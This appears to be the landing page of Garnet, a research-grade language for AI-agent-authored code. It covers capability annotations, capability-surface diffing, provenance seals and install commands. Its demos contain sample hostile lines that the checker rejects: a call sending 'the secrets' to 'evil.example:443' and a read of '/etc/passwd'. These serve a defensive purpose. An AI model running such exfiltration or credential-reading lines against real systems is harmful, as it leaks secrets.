A language for agent-authored code
English is how you tell an agent what to do.
Garnet is how anyone else can trust what it did.
macOS · Windows · Linux
Most language sites open with a greeting. This one opens with a rejection, because that is the product. The function below is annotated @caps() and calls net::tcp_connect; garnet check refuses it and exits 1. A diff then answers what new authority does this change declare?, and a seal writes the paperwork out of evidence that already exists.
$ cat exfil.garnet @caps() def main() { net::tcp_connect("evil.example:443", "the secrets") 0 } $ garnet check exfil.garnet caps coverage: function `main` does not declare `net` but transitively calls `net::tcp_connect` which requires it 1 functions checked, 1 boundary call sites, 1 diagnostics $ echo $? 1 $ garnet diff-caps --machine hello.garnet declared.garnet {"schema":"garnet.diff-caps.machine/1","verdict":"authority-expanded","authority_expanded":true,"capability_band":"2/5","exit_code":1,"aggregate_gained":["net"],…"scope":"declared-surface-only; does not prove absence of undeclared authority; bound annotations are not part of this surface"} $ garnet seal hello.garnet {"_type":"https://in-toto.io/Statement/v1","subject":[{"name":"hello","digest":{"blake3":"be28668b…bf8845c2"}}],"predicateType":"https://garnet-lang.org/attestation/seal/v1",… garnet seal: cosign not installed — in-toto predicate emitted UNSIGNED (wrap-don't-rebuild: install cosign to attest; Garnet does not sign supply-chain itself)
Captured unedited on 2026-09-02 from garnet 0.8.1 built at main fbd64bc5, in a fresh directory with no .garnet-cache; only long JSON lines are elided with an ellipsis. The checker rejects an undeclared call along the named call chains it traces from an annotated function, cycles included on current source — that is the bound the check holds to, and the capability enforcement scope states where it ends. garnet run does not invoke the checker. Run check and diff-caps yourself, in the browser →
The capture above ran on a machine you have to take our word for. This one runs on yours. It is a committed WebAssembly build of Garnet's checker. It runs two of the capture's acts — check a program, and diff its declared capability surface against a baseline — plus run; sealing stays on the command line. The service worker downloads the 2.2 MB runtime for offline use when you visit this page. The editor opens when you ask.
Choose Custom source, paste the five-line program from the capture above, and press Check — the rejection is the one you just read.
Committed package: garnet_wasm_bg.wasm — its byte count and sha256 are recorded in the package provenance. Clean-browser proof pass (the recorded run), with zero external requests — every file it fetched is committed to this repository — and no OS host authority granted to the runtime. The capability diff is declared-surface-only: it reports what a change declares, not the absence of undeclared authority. Open the playground on its own page →
Rust gives you mathematical rigor at the cost of cognitive load. Ruby gives you conversational beauty at the cost of runtime surprise. Garnet's bet is one grammar with a mode for each — a single coherent language whose mode boundary is the reconciliation; the automatic bridge across that boundary is specified and still deferred.
Mathematical correctness. Memory discipline. Zero-cost abstractions. Performance to the metal.
The cost: lifetimes carried as a mental stack, and ceremony.
Managed mode (def + ARC + exceptions) feels Ruby-like. Safe mode (@safe + fn + ownership + Result) feels Rust-like.
The mode boundary is where errors and ownership meet; the automatic runtime bridge is specified and still deferred.
Conversational beauty. High velocity. Joyful to read, fast to write. DSLs flow.
The cost: ambient authority, and no compile-time net.
Capability security, bounded execution, and signed provenance are well-precedented — Pony and Austral, Wasmtime and eBPF, Sigstore and SLSA each do a piece well. Garnet's bet is the integration, not the parts: one language that carries capability annotations, deterministic builds, in-toto attestations, and capability-surface diffing, aimed at agent-authored code and shipping the evidence with it.
The headline is diff-caps: when a dependency or an agent's PR changes the authority the code declares, Garnet answers "what new program-wide authority does this change declare?" in one screen, and lists per-function gains for review — turning the review bottleneck (the binding constraint on accepting AI-written code) into a machine-checkable diff of the declared surface.
Produces the change and its declared authority.
Returns named diagnostics and declaration deltas from the source.
Inspects the evidence and accepts or rejects the change.
Switch between examples to see how Garnet inherits Rust's shape and Ruby's brevity. The keyword chooses the register: def = managed, fn = safe.
fn greet(name: &str) -> String { format!( "Hello, {}!", name) }
def greet(name) "Hello, #{name}!" end
# Managed — Ruby feel def greet(name) { "Hello, #{name}!" } # Safe — Rust rigor @safe fn greet(borrow name: String) -> String { "Hello, #{name}!" }
fn read_config( path: &Path) -> Result<Config, io::Error> { let content = fs::read_to_string(path)?; serde_json::from_str(&content) .map_err(convert_err) }
def read_config(path) content = File.read(path) JSON.parse(content) rescue Errno::ENOENT nil end
@caps(fs) def read_config(path) { try { std::json::parse( fs::read_file(path)) } rescue e: String { nil } }
let names: Vec<String> = users.iter() .filter(|u| u.active) .map(|u| u.name.clone()) .collect();
names = users .select(&:active) .map(&:name)
# Pipeline style let names = users |> filter(|u| u.active) |> map(|u| u.name) # Method style let names = users.filter(|u| u.active).map(|u| u.name)
use some_vector_db::*; use some_episodic_log::*; struct Agent { events: EventLog<Event>, facts: VectorStore<Fact>, } impl Agent { // ...setup ceremony... }
class Agent def initialize @events = [] @facts = {} end def remember(e) @events << e end end
actor Agent { memory episodic events : EpisodeStore<Event> memory semantic facts : VectorIndex<Fact> protocol remember(e: Event) -> Bool protocol recall(q: String) -> Array<Fact> on remember(e) { events.append(e); true } }
These are not libraries. They are language and toolchain constructs — some checked by garnet check, some carried by the runtime or the build — and each card says how far it goes today.
Same grammar, two registers. Managed mode (def) reads like Ruby. Safe mode (@safe fn) reads like Rust. Automatic error and ownership bridging at the boundary is specified, not yet wired.
garnet check prints a call-site count, a coarse tally of the calls it walks; it is not yet a mode-aware crossing analysis. A reviewer-readable crossing log (ModeAuditLog) is modelled in the checker; the CLI does not write it yet.
A function declares its OS-authority budget with @caps. garnet check rejects an undeclared call along the named call chains it traces from an annotated function, cycles included on current source, and the twenty-four gated host primitives (current source; the published v0.8.2 download has fifteen) also require the program entry's declared budget at run time.
First-class memory working|episodic|semantic|procedural declarations, each backed by a reference store (Mnemos). Kind-aware allocator adapters, observable root lifecycles and narrow episodic text persistence are implemented. Production backends, full ARC finalizers and broader persistence remain on the Memory Core roadmap. Paper VI Contribution 4.
ActorAddress::reload swaps an actor's behaviour in place, refuses a downgrade unless asked, and replays the messages buffered during the swap. An Ed25519 reload-authorisation module and BLAKE3 state fingerprints ship in the actor runtime; checking a signature is not yet wired into the reload path.
garnet build --deterministic --sign <keyfile> emits a deterministic source-provenance manifest with an Ed25519 signature, and garnet verify recomputes it from the source. Release binaries are checked separately, against SHA256SUMS and the release signing key.
Garnet is not claiming to replace either parent. This table is positioning, not a benchmark: where each language sits, and what Garnet's dual-mode design buys you. The last row stays tied to current evidence.
| Axis | Rust | Ruby | Garnet |
|---|---|---|---|
| Memory safety | Compile-time ownership | Runtime GC | Safe mode: ownership · Managed mode: ARC (the interpreter uses reference counting today; allocator-integrated ARC is not shipped) |
| Cognitive load | High (lifetimes) | Low | Progressive — low in managed, Rust-like in safe (argued, not measured) |
| Error model | Result<T,E> | Exceptions | Both; automatic bridging at the mode boundary is specified, not yet wired |
| Concurrency | Threads/async, Send+Sync | GVL-limited | Actors + Sendable checking |
| Agent/memory primitives | Library | Library | Language-level (working/episodic/semantic/procedural) |
| Capability control | External crates | External gems | @caps(...) in the language |
| Reproducible builds | Tooling-dependent | Not a goal | Manifest + Ed25519 signature contract |
| Maturity | Production | Production | Research-grade prototype (v0.x.x) — not production-complete |
@caps(fs) is a semantic beacon: a single annotation that front-loads the function's declared OS-authority budget. Humans and language models can scan a file and read what each function claims, and garnet check rejects an undeclared call along the named call chains it traces from an annotated function, cycles included on current source.
Eight named authority kinds and a wildcard on current source; the v0.8.2 checker has seven, without mem. A small declaration edit can change what a reviewer needs to inspect.
Choose a live example.
The spectrum follows returned checker data.
No reference example has been checked yet.
Gold shows declared authority from the returned surface. Red identifies a missing declaration in a named-call diagnostic, or authority newly gained in a declaration diff. The status names which case applies; the colours never stand in for the verdict.
The diagram turns the checker’s returned authority data into a picture. Its scope and implementation detail live on Status.
Workbench details and current status →@caps(fs) def get_user_summary(path, id) { let data = std::json::parse( fs::read_file(path)) let user = data["users"][id] "#{user.name}: #{user.email}" } # garnet check: caps coverage: # function `bad` does not declare # `fs` but transitively calls # `fs::read_file` which requires it @caps() def bad() { fs::read_file("/etc/passwd") }
fs::* primitive, and gated at run time.net::tcp_connect, gated at run time) under a strict default policy that denies RFC1918, loopback, link-local and cloud-metadata addresses, including their IPv4-mapped, IPv4-compatible, well-known NAT64 and 6to4 spellings. Four rarer IPv6 forms and network-specific NAT64 prefixes are not caught yet (known limitations). Listen and UDP are declared, not bridged.mem and rejects it; see Build scope.std::env::get/set/vars), gated at run time.The garnet convert tool is a migration assistant, not a full transpiler: it reads four deterministic source lanes and emits Garnet tagged @sandbox and @caps(), with lineage, metrics, and a human migration checklist. Those two lines are notes for the reviewer, and neither is enforced: @sandbox is written as a comment that garnet run does not treat as a boundary, and a @caps() placed before a module does not bind the functions inside it. Every emitted file parses, because the converter fails rather than write one the parser rejects; converted code is held to a capability budget only after a reviewer annotates its functions.
| Tier | What it means |
|---|---|
| Active conversion Rust · Ruby · Python · Go | Deterministic frontends — carries ownership-like shape, module boundaries, and migration evidence with deterministic behavior. |
| Advisory planning JS · TS · Swift · Java · C · C++ · C# · Perl · Kotlin · Shell · SQL · Other | Risk-first migration planning + inventory until deterministic parser/lineage support lands; explicit and human-gated. |
| Native boundary C · C++ · Obj-C · Asm · CUDA · platform | Stays native behind an FFI boundary (recommended for C, C++ and the rest of this row), with declared capabilities and a generated (not self-enforced) sandbox policy where ABI and hardware behavior are source-of-truth. Garnet has no runtime FFI path yet. |
Backend Wasm/LLVM-style lowering is planned (pending backend evidence). The fit rule, LLM-advisory review path, and machine-readable adoption surface are detailed in the full conversion policy →
def parse_config(text) text.split("\n").map do |line| k, v = line.split("=", 2) [k.strip, v.strip] end.to_h end
@caps() module Config { def parse_config(text) { let out = {} for line in text.split("\n") { let parts = line.split("=", 2) out.insert( parts[0].trim(), parts[1].trim()) } out } }
The right pane is reviewer-finished, not raw tool output. garnet convert keeps the Ruby do |line| … end.to_h block whole as a migration to-do comment, so its raw output parses but does not yet build the map; a reviewer rewrote the block as the for loop shown. This file passes garnet check.
Adoption surface evidence is machine-readable through scripts/garnet_adoption_surface_status.py. It keeps the provider-neutral prompt pack, provider-option registry, and advisory flow bounded: source classifier -> risk inventory -> Garnet context -> advisory plan -> review handoff -> human-approved candidate -> garnet check/test/dogfood.
One command installs the v0.8.2 CLI for your platform, and release packages are verified against the published checksums. Prebuilt for macOS, Linux (x86_64 and ARM64) and Windows. Installer behavior and release details are on Status.
| Platform | v0.8.2 asset | Install path |
|---|---|---|
| macOS · Apple Silicon | garnet-0.8.2-aarch64-apple-darwin.tar.gz | install.sh or the tarball |
| macOS · Intel | garnet-0.8.2-x86_64-apple-darwin.tar.gz | install.sh or the tarball |
| Linux x86_64 | garnet_0.8.2-1_amd64.deb · garnet-0.8.2-1.x86_64.rpm · garnet-0.8.2-x86_64-unknown-linux-gnu.tar.gz | install.sh, a package or the tarball |
| Linux ARM64 | garnet_0.8.2-1_arm64.deb · garnet-0.8.2-1.aarch64.rpm · garnet-0.8.2-aarch64-unknown-linux-gnu.tar.gz | install.sh, a package or the tarball |
| Windows x86_64 | garnet-0.8.2-x86_64-pc-windows-msvc.zip | install.ps1 or the zip |
SHA256SUMS. To confirm who signed the checksums, follow the signing guide.shasum -a 256 --ignore-missing -c SHA256SUMS
# Universal installer: curl --proto '=https' --tlsv1.2 -sSf https://garnet-lang.org/install.sh | sh # Force native release package only: curl --proto '=https' --tlsv1.2 -sSf https://garnet-lang.org/install.sh | GARNET_INSTALL_MODE=release sh # Force source install: curl --proto '=https' --tlsv1.2 -sSf https://garnet-lang.org/install.sh | GARNET_INSTALL_MODE=source sh
# Recommended — universal installer: # installs the checksum-verified v0.8.2 CLI for Apple Silicon or Intel. curl --proto '=https' --tlsv1.2 -sSf https://garnet-lang.org/install.sh | sh # Source install (any arch, needs a Rust toolchain): git clone https://github.com/Island-Dev-Crew/garnet && cd garnet/garnet-cli && cargo install --path .
# Recommended — universal installer (SHA256SUMS-verified): curl --proto '=https' --tlsv1.2 -sSf https://garnet-lang.org/install.sh | sh # Published v0.8.2 release assets: # https://github.com/Island-Dev-Crew/garnet/releases/tag/v0.8.2 # Debian/Ubuntu (on ARM64: garnet_0.8.2-1_arm64.deb): sudo apt install ./garnet_0.8.2-1_amd64.deb # Fedora/RHEL (on ARM64: garnet-0.8.2-1.aarch64.rpm): sudo dnf install ./garnet-0.8.2-1.x86_64.rpm # Source install (any arch, needs a Rust toolchain): git clone https://github.com/Island-Dev-Crew/garnet && cd garnet/garnet-cli && cargo install --path .
# PowerShell (Windows PowerShell 5.1 or PowerShell 7+): # installs the v0.8.2 x86_64 build after verifying it against SHA256SUMS. irm https://garnet-lang.org/install.ps1 | iex # Source install (needs a Rust toolchain): git clone https://github.com/Island-Dev-Crew/garnet && cd garnet/garnet-cli && cargo install --path .
See it run — the real first-project loop:
$ garnet new --template cli my_app created my_app/ (cli template) $ cd my_app $ garnet test test test_arithmetic ... ok test test_string_interpolation ... ok test result: ok. 2 passed; 0 failed; in 2 file(s) $ garnet run src/main.garnet Edit src/main.garnet to change this message. => 0
After install, scaffold a project:
garnet new --template cli my_app cd my_app garnet test # 2 starter tests pass green garnet run src/main.garnet
New here? Follow the Getting Started walkthrough →
Keeping Garnet updated:
git pull then cargo install --path . for a source build. A first-class toolchain manager — garnet update, stable/nightly channels, and garnet self uninstall — is planned and not yet available. This section will change when it ships; it is listed here so the roadmap stays explicit, not so the commands look real.
The macOS Studio surface is a source-checkout workbench for real Garnet flows — not a separate product. It runs:
In Codex Desktop, a Codex Run action wires script/build_and_run.sh to build SwiftPM, stage dist/Garnet Studio.app, and launch it.
The Windows/Linux lane now has a separate Tauri v2 shell scaffold under apps/garnet-studio. Windows local proof covers the Vite frontend build, Tauri backend tests, release executable, unsigned NSIS bundle, --studio-smoke Desktop evidence, a Release / Readiness panel wired to the repo-native v0.5 reporters, verified x64 clean-VM installer proof (proofs/windows/studio-clean-vm/20260926-0349-NUCBOX_M2PRO_S: an unsigned installer in a fresh Windows Sandbox), WSL package/window portability evidence, Studio Domain Proof Matrix shell output, and Release / Readiness shell reporter output. Native (non-WSL) Debian ARM64 has a build, install and headless launch proof (proofs/linux/studio/utm-native-20260701). It is still not signed MSI, winget, Linux x64 or desktop-session GUI launch proof, live Release / Readiness GUI screenshot proof, Windows ARM64 proof, or completed cross-platform package proof.
Use the Codex Run action or ./script/build_and_run.sh --verify to build, launch, and prove the app process from the checkout.
Studio exposes Assist Plan, Advisory Bundle, Advisory Review, and Advisory Handoff for TypeScript, JavaScript, Swift, Java, C, C++, C#, Perl, Kotlin, Shell, SQL, and Other as local planning, review, and source-free handoff evidence written to a local evidence folder, not active conversion.
The Release panel can run the repo-native readiness reporter and generate manifested demo-route, deck-outline, and browser-smokeable deck-preview bundles, keeping presentation rehearsal separate from the completed tracked-slice ledger and final acceptance. Detailed signing, notarization, clean-machine Gatekeeper evidence, and the machine-readable preflight status reporter stay on the readiness status page.
The Release panel can show which Mac-side lanes can still move from this checkout and which gates belong to Apple credentials or Windows/Linux runtime proof.
# From a source checkout: ./script/build_and_run.sh --verify # Codex Desktop: # click Run, which calls ./script/build_and_run.sh # Output bundle: dist/Garnet Studio.app
Try the guided authority check and the current-source seal/v2 record → · Published download versus current source →
One pass through the whole idea: the browser playground refuses an undeclared network call, the command line names the authority a change would declare and shows that comparing a file with itself reports no authority expansion, and a seal emits an unsigned in-toto Statement.
@caps() / def main() { / net::tcp_connect("evil.example:443", "the secrets") / 0 / }. Check returns check.caps_coverage: “caps coverage: function `main` does not declare `net` but transitively calls `net::tcp_connect` which requires it”. The status shown is the page's, not a process exit code.garnet diff-caps --machine before.garnet after.garnet, where before is @caps() def main() { 0 } and after is @caps(net) def main() { 0 }. Verdict authority-expanded, exit_code 1, aggregate_gained ["net"], scope “declared-surface-only; does not prove absence of undeclared authority”.garnet diff-caps --machine before.garnet before.garnet: verdict no-authority-expansion, exit_code 0, nothing gained.garnet seal hello.garnet --out hello.seal.json on @caps() def main() { "Hello, world!" }. It reports “predicate written to hello.seal.json” and “cosign not installed — in-toto predicate emitted UNSIGNED”.jq shows _type https://in-toto.io/Statement/v1, subject hello with a BLAKE3 digest, and predicateType https://garnet-lang.org/attestation/seal/v1.A local recording, take-03, made on macOS arm64 on 2026-09-07. The check runs in the browser playground as deployed on 2026-09-07; that package has since been rebuilt, so it is not the package this page serves today, and the status it shows is not a process exit code. The diff, the unchanged control and the seal run on a source build of the CLI at main 452a0e2 (binary sha256 e548b0d9…), not the released v0.8.1 binary. It is not independent review and not a launch clearance, and its opening and closing cards still carry the capture's own unpublished · hold stamp, set before its publication was decided. Its receipt — status captured-pass-scoped, recording sha256 40db808f…, of which this MP4 is a frame-for-frame H.264 encoding — is not yet published with it. Check and diff run in the playground on this page; seal needs a build from Install.
A landing page is a poor place for a scoreboard: the figures move, the caveats do not fit, and a number without its derivation is decoration. Test counts, tracked slices, the productization percentage, and every platform's own gate are kept on one page, each beside the command that produced it and the limits that still apply.
Objective accounting: the tracked implementation plan is complete, but that is not full MIT/productization completion: platform distribution, provider-backed assist, backend lowering, proof, and empirical validation remain separately gated. Garnet is research-grade v0.8.3 and not production or 1.0.
Garnet ships seven research papers plus four addenda. Where claims are empirical, evidence is traceable to reproducible artifacts; empirical claims are labeled by confidence and status, with partial outcomes explicitly downgraded in the v4.0 revisions.
The canonical language specification. Grammar, type system, mode boundary, capability inventory, deterministic build manifest.
The current capability-tagged primitive table: pure string/array/crypto helpers plus explicit time, file, network, environment and process authority, and memory-tier authority on current source.
Rust + Ruby → Garnet. The dual-mode design rationale, the mode boundary as a first-class construct, the capability model.
Seven novel contributions, pre-registered Phase 1C, executed Phase 4A. Evidence scorecard: 4 supported, 2 partial, 0 refuted, 1 pending-infra. The measured results for experiments 2–6 cannot be reproduced from this repository: experiments 2, 4, 5 and 6 have no committed harness, and the experiment 3 harness does not include the measured run.
Side-by-side Rust / Ruby / Garnet across 10 patterns. The §20 chapter explicitly separates measured claims from argued claims.
What the EU Cyber Resilience Act asks a reporting obligation to produce, and which of those artifacts Garnet already emits. Positioning, not a launch claim.
The one real seam between the two: skills linked into four harness directories by the same idiom the evidence repository installs with. Not affiliated.
Models as authors, advisers, and potential governed effects. A research direction that keeps deterministic evidence at the center.
Garnet is early and the community surface states the current truth. GitHub Discussions are live as of v0.5.0 — that's where design conversations, show & tell, and RFCs happen. A Discord/chat server is not — chat will only appear here when contributor volume sustains it.
Threads to start with: Welcome · Show & tell — what are you building · RFC — package registry shape.